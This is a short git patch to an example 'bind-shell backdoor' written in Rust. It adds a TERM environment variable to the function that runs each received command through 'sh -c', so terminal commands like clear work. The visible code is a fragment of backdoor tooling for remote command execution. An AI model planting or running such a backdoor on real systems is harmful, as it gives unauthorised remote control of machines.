From d5e78b5746d93778acfbef80eb377df2a9ff03e7 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 9 May 2023 21:26:53 -0400 Subject: [PATCH] fix: made it so that the TERM variable is shared now commands like clear work --- examples/bind-shell/backdoor/src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index 5112538..1dd687c 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -162,6 +162,7 @@ async fn handle_command( let Ok(mut child) = (process::Command::new("sh") .arg("-c") .arg(cmd) + .env("TERM", "screen") .stdin(Stdio::null()) .stdout(Stdio::piped()) .stderr(Stdio::piped()))